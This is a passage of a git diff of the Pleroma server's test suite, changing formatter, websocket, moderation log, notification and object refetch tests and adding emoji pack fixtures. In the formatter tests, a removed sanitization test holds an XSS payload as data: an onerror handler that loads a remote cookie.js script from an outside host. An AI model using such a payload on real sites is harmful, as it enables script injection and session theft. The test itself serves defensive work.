"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" -      expected = "<a href=\"#{text}\">#{text}</a>" +      expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"        assert {^expected, [], []} = Formatter.linkify(text)      end @@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 3        expected_text = -        "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{ +        ~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{            gsimg.ap_id -        }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{ +        }" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{            archaeme.id -        }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{ +        }" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{            archaeme_remote.id -        }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>" +        }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)        assert expected_text == text      end @@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 1        expected_text = -        "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test" +        ~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{ +          mike.ap_id +        }" rel="ugc">@<span>mike</span></a></span> test)        assert expected_text == text      end @@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 1        expected_text = -        "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi" +        ~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)        assert expected_text == text      end @@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do        assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]        assert expected_text == -               "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{ +               ~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{                   user.ap_id -               }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{ +               }" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{                   other_user.id -               }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{ +               }" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{ +                 other_user.nickname +               }</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{                   third_user.id -               }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>" +               }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{ +                 third_user.nickname +               }</span></a></span>)      end      test "given the 'safe_mention' option, it will still work without any mention" do @@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do        assert expected_text =~ "how are you doing?"      end + +    test "it can parse mentions and return the relevant users" do +      text = +        "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + +      o = insert(:user, %{nickname: "o"}) +      jimm = insert(:user, %{nickname: "jimm"}) +      gsimg = insert(:user, %{nickname: "gsimg"}) +      archaeme = insert(:user, %{nickname: "archaeme"}) +      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + +      expected_mentions = [ +        {"@archaeme", archaeme}, +        {"@archaeme@archae.me", archaeme_remote}, +        {"@gsimg", gsimg}, +        {"@jimm", jimm}, +        {"@o", o} +      ] + +      assert {_text, ^expected_mentions, []} = Formatter.linkify(text) +    end    end    describe ".parse_tags" do @@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do      end    end -  test "it can parse mentions and return the relevant users" do -    text = -      "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - -    o = insert(:user, %{nickname: "o"}) -    jimm = insert(:user, %{nickname: "jimm"}) -    gsimg = insert(:user, %{nickname: "gsimg"}) -    archaeme = insert(:user, %{nickname: "archaeme"}) -    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - -    expected_mentions = [ -      {"@archaeme", archaeme}, -      {"@archaeme@archae.me", archaeme_remote}, -      {"@gsimg", gsimg}, -      {"@jimm", jimm}, -      {"@o", o} -    ] - -    assert {_text, ^expected_mentions, []} = Formatter.linkify(text) -  end - -  test "it adds cool emoji" do -    text = "I love :firefox:" - -    expected_result = -      "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" - -    assert Formatter.emojify(text) == expected_result -  end - -  test "it does not add XSS emoji" do -    text = -      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - -    custom_emoji = %{ -      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => -        "https://placehold.it/1x1" -    } - -    expected_result = -      "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" - -    assert Formatter.emojify(text, custom_emoji) == expected_result -  end - -  test "it returns the emoji used in the text" do -    text = "I love :firefox:" - -    assert Formatter.get_emoji(text) == [ -             {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} -           ] -  end - -  test "it returns a nice empty result when no emojis are present" do -    text = "I love moominamma" -    assert Formatter.get_emoji(text) == [] -  end - -  test "it doesn't die when text is absent" do -    text = nil -    assert Formatter.get_emoji(text) == [] -  end -    test "it escapes HTML in plain text" do      text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"      expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" diff --git a/test/html_test.exs b/test/html_test.exs index b8906c46a..306ad3b3b 100644 --- a/test/html_test.exs +++ b/test/html_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.HTMLTest do diff --git a/test/instance_static/emoji/test_pack/blank.png b/test/instance_static/emoji/test_pack/blank.pngBinary files differ new file mode 100644 index 000000000..8f50fa023 --- /dev/null +++ b/test/instance_static/emoji/test_pack/blank.png diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json new file mode 100644 index 000000000..5a8ee75f9 --- /dev/null +++ b/test/instance_static/emoji/test_pack/pack.json @@ -0,0 +1,13 @@ +{ +    "pack": { +        "license": "Test license", +        "homepage": "https://pleroma.social", +        "description": "Test description", + +        "share-files": true +    }, + +    "files": { +        "blank": "blank.png" +    } +} diff --git a/test/instance_static/emoji/test_pack_for_import/blank.png b/test/instance_static/emoji/test_pack_for_import/blank.pngBinary files differ new file mode 100644 index 000000000..8f50fa023 --- /dev/null +++ b/test/instance_static/emoji/test_pack_for_import/blank.png diff --git a/test/instance_static/emoji/test_pack_nonshared/nonshared.zip b/test/instance_static/emoji/test_pack_nonshared/nonshared.zipBinary files differ new file mode 100644 index 000000000..148446c64 --- /dev/null +++ b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json new file mode 100644 index 000000000..b96781f81 --- /dev/null +++ b/test/instance_static/emoji/test_pack_nonshared/pack.json @@ -0,0 +1,16 @@ +{ +    "pack": { +        "license": "Test license", +        "homepage": "https://pleroma.social", +        "description": "Test description", + +        "fallback-src": "https://nonshared-pack", +        "fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF", + +        "share-files": false +    }, + +    "files": { +        "blank": "blank.png" +    } +} diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index 3975cdcd6..63fce07bb 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -1,16 +1,16 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Integration.MastodonWebsocketTest do    use Pleroma.DataCase +  import ExUnit.CaptureLog    import Pleroma.Factory    alias Pleroma.Integration.WebsocketClient    alias Pleroma.Web.CommonAPI    alias Pleroma.Web.OAuth -  alias Pleroma.Web.Streamer    @path Pleroma.Web.Endpoint.url()          |> URI.parse() @@ -18,14 +18,9 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do          |> Map.put(:path, "/api/v1/streaming")          |> URI.to_string() -  setup do -    GenServer.start(Streamer, %{}, name: Streamer) - -    on_exit(fn -> -      if pid = Process.whereis(Streamer) do -        Process.exit(pid, :kill) -      end -    end) +  setup_all do +    start_supervised(Pleroma.Web.Streamer.supervisor()) +    :ok    end    def start_socket(qs \\ nil, headers \\ []) do @@ -39,13 +34,19 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do    end    test "refuses invalid requests" do -    assert {:error, {400, _}} = start_socket() -    assert {:error, {404, _}} = start_socket("?stream=ncjdk") +    capture_log(fn -> +      assert {:error, {400, _}} = start_socket() +      assert {:error, {404, _}} = start_socket("?stream=ncjdk") +      Process.sleep(30) +    end)    end    test "requires authentication and a valid token for protected streams" do -    assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") -    assert {:error, {403, _}} = start_socket("?stream=user") +    capture_log(fn -> +      assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") +      assert {:error, {403, _}} = start_socket("?stream=user") +      Process.sleep(30) +    end)    end    test "allows public streams without authentication" do @@ -67,7 +68,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do      assert {:ok, json} = Jason.decode(json["payload"])      view_json = -      Pleroma.Web.MastodonAPI.StatusView.render("status.json", activity: activity, for: nil) +      Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil)        |> Jason.encode!()        |> Jason.decode!() @@ -100,19 +101,31 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do      test "accepts the 'user' stream", %{token: token} = _state do        assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") -      assert {:error, {403, "Forbidden"}} = start_socket("?stream=user") + +      assert capture_log(fn -> +               assert {:error, {403, "Forbidden"}} = start_socket("?stream=user") +               Process.sleep(30) +             end) =~ ":badarg"      end      test "accepts the 'user:notification' stream", %{token: token} = _state do        assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") -      assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification") + +      assert capture_log(fn -> +               assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification") +               Process.sleep(30) +             end) =~ ":badarg"      end      test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do        assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) -      assert {:error, {403, "Forbidden"}} = -               start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) +      assert capture_log(fn -> +               assert {:error, {403, "Forbidden"}} = +                        start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) + +               Process.sleep(30) +             end) =~ ":badarg"      end    end  end diff --git a/test/list_test.exs b/test/list_test.exs index 8efba75ea..ba79251da 100644 --- a/test/list_test.exs +++ b/test/list_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ListTest do diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs index c78708471..a39a00e02 100644 --- a/test/moderation_log_test.exs +++ b/test/moderation_log_test.exs @@ -30,8 +30,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == -               "@#{moderator.nickname} deleted user @#{subject1.nickname}" +      assert log.data["message"] == "@#{moderator.nickname} deleted user @#{subject1.nickname}"      end      test "logging user creation by moderator", %{ @@ -48,7 +47,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}"      end @@ -63,7 +62,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}"      end @@ -78,7 +77,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}"      end @@ -100,8 +99,7 @@ defmodule Pleroma.ModerationLogTest do        tags = ["foo", "bar"] |> Enum.join(", ") -      assert ModerationLog.get_log_entry_message(log) == -               "@#{admin.nickname} added tags: #{tags} to users: #{users}" +      assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}"      end      test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do @@ -122,7 +120,7 @@ defmodule Pleroma.ModerationLogTest do        tags = ["foo", "bar"] |> Enum.join(", ") -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{admin.nickname} removed tags: #{tags} from users: #{users}"      end @@ -137,8 +135,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == -               "@#{moderator.nickname} made @#{subject1.nickname} moderator" +      assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator"      end      test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do @@ -152,7 +149,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}"      end @@ -166,7 +163,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} followed relay: https://example.org/relay"      end @@ -180,7 +177,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} unfollowed relay: https://example.org/relay"      end @@ -202,7 +199,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state"      end @@ -224,7 +221,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} responded with 'look at this' to report ##{report.id}"      end @@ -242,7 +239,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'"      end @@ -260,7 +257,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'"      end @@ -278,7 +275,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == +      assert log.data["message"] ==                 "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'"      end @@ -294,8 +291,7 @@ defmodule Pleroma.ModerationLogTest do        log = Repo.one(ModerationLog) -      assert ModerationLog.get_log_entry_message(log) == -               "@#{moderator.nickname} deleted status ##{note.id}" +      assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}"      end    end  end diff --git a/test/notification_test.exs b/test/notification_test.exs index 2a52dad8d..54c0f9877 100644 --- a/test/notification_test.exs +++ b/test/notification_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.NotificationTest do @@ -8,6 +8,7 @@ defmodule Pleroma.NotificationTest do    import Pleroma.Factory    alias Pleroma.Notification +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.ActivityPub.Transmogrifier    alias Pleroma.Web.CommonAPI @@ -68,16 +69,7 @@ defmodule Pleroma.NotificationTest do    end    describe "create_notification" do -    setup do -      GenServer.start(Streamer, %{}, name: Streamer) - -      on_exit(fn -> -        if pid = Process.whereis(Streamer) do -          Process.exit(pid, :kill) -        end -      end) -    end - +    @tag needs_streamer: true      test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do        user = insert(:user)        task = Task.async(fn -> assert_receive {:text, _}, 4_000 end) @@ -588,7 +580,8 @@ defmodule Pleroma.NotificationTest do        refute Enum.empty?(Notification.for_user(other_user)) -      User.delete(user) +      {:ok, job} = User.delete(user) +      ObanHelpers.perform(job)        assert Enum.empty?(Notification.for_user(other_user))      end @@ -633,6 +626,7 @@ defmodule Pleroma.NotificationTest do        }        {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message) +      ObanHelpers.perform_all()        assert Enum.empty?(Notification.for_user(local_user))      end diff --git a/test/object_test.exs b/test/object_test.exs index ba96aeea4..dd228c32f 100644 --- a/test/object_test.exs +++ b/test/object_test.exs @@ -1,13 +1,16 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ObjectTest do    use Pleroma.DataCase +  import ExUnit.CaptureLog    import Pleroma.Factory    import Tesla.Mock +  alias Pleroma.Activity    alias Pleroma.Object    alias Pleroma.Repo +  alias Pleroma.Web.CommonAPI    setup do      mock(fn env -> apply(HttpRequestMock, :request, [env]) end) @@ -89,4 +92,110 @@ defmodule Pleroma.ObjectTest do               )      end    end + +  describe "get_by_id_and_maybe_refetch" do +    setup do +      mock(fn +        %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> +          %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} + +        env -> +          apply(HttpRequestMock, :request, [env]) +      end) + +      mock_modified = fn resp -> +        mock(fn +          %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> +            resp + +          env -> +            apply(HttpRequestMock, :request, [env]) +        end) +      end + +      on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end) + +      [mock_modified: mock_modified] +    end + +    test "refetches if the time since the last refetch is greater than the interval", %{ +      mock_modified: mock_modified +    } do +      %Object{} = +        object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + +      assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +      assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + +      mock_modified.(%Tesla.Env{ +        status: 200, +        body: File.read!("test/fixtures/tesla_mock/poll_modified.json") +      }) + +      updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) +      assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 +      assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 +    end + +    test "returns the old object if refetch fails", %{mock_modified: mock_modified} do +      %Object{} = +        object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + +      assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +      assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + +      assert capture_log(fn -> +               mock_modified.(%Tesla.Env{status: 404, body: ""}) + +               updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) +               assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +               assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 +             end) =~ +               "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d" +    end + +    test "does not refetch if the time since the last refetch is greater than the interval", %{ +      mock_modified: mock_modified +    } do +      %Object{} = +        object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + +      assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +      assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + +      mock_modified.(%Tesla.Env{ +        status: 200, +        body: File.read!("test/fixtures/tesla_mock/poll_modified.json") +      }) + +      updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) +      assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +      assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 +    end + +    test "preserves internal fields on refetch", %{mock_modified: mock_modified} do +      %Object{} = +        object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + +      assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 +      assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + +      user = insert(:user) +      activity = Activity.get_create_by_object_ap_id(object.data["id"]) +      {:ok, _activity, object} = CommonAPI.favorite(activity.id, user) + +      assert object.data["like_count"] == 1 + +      mock_modified.(%Tesla.Env{ +        status: 200, +        body: File.read!("test/fixtures/tesla_mock/poll_modified.json") +      }) + +      updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) +      assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 +      assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 + +      assert updated_object.data["like_count"] == 1 +    end +  end  end diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs index f7f8fd9f3..9ae4c506f 100644 --- a/test/plugs/authentication_plug_test.exs +++ b/test/plugs/authentication_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.AuthenticationPlugTest do diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs index 45151b289..69ce6cc7d 100644 --- a/test/plugs/cache_control_test.exs +++ b/test/plugs/cache_control_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.CacheControlTest do diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs index d45662a2a..bae95e150 100644 --- a/test/plugs/ensure_public_or_authenticated_plug_test.exs +++ b/test/plugs/ensure_public_or_authenticated_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs index 7a2835e3d..9c1c20541 100644 --- a/test/plugs/http_security_plug_test.exs +++ b/test/plugs/http_security_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs index d6fd9ea81..d8ace36da 100644 --- a/test/plugs/http_signature_plug_test.exs +++ b/test/plugs/http_signature_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs index 6aabc45a4..9b27246fa 100644 --- a/test/plugs/instance_static_test.exs +++ b/test/plugs/instance_static_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.RuntimeStaticPlugTest do diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs index 9804e073b..568ef5abd 100644 --- a/test/plugs/legacy_authentication_plug_test.exs +++ b/test/plugs/legacy_authentication_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs index bb45d9edf..6b9d3649d 100644 --- a/test/plugs/mapped_identity_to_signature_plug_test.exs +++ b/test/plugs/mapped_identity_to_signature_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs index 5a2ed11cc..dea11cdb0 100644 --- a/test/plugs/oauth_plug_test.exs +++ b/test/plugs/oauth_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.OAuthPlugTest do diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs index f328026df..6a13ea811 100644 --- a/test/plugs/oauth_scopes_plug_test.exs +++ b/test/plugs/oauth_scopes_plug_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Plugs.OAuthScopesPlugTest do diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs new file mode 100644 index 000000000..d120c588b --- /dev/null +++ b/test/plugs/remote_ip_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RemoteIpTest do +  use ExUnit.Case, async: true +  use Plug.Test + +  alias Pleroma.Plugs.RemoteIp + +  test "disabled" do +    Pleroma.Config.put(RemoteIp, enabled: false) + +    %{remote_ip: remote_ip} = conn(:get, "/") + +    conn = +      conn(:get, "/") +      |> put_req_header("x-forwarded-for", "1.1.1.1") +      |> RemoteIp.call(nil) + +    assert conn.remote_ip == remote_ip +  end + +  test "enabled" do +    Pleroma.Config.put(RemoteIp, enabled: true) + +    conn = +      conn(:get, "/") +      |> put_req_header("x-forwarded-for", "1.1.1.1") +      |> RemoteIp.call(nil) + +    assert conn.remote_ip == {1, 1, 1, 1} +  end + +  test "custom 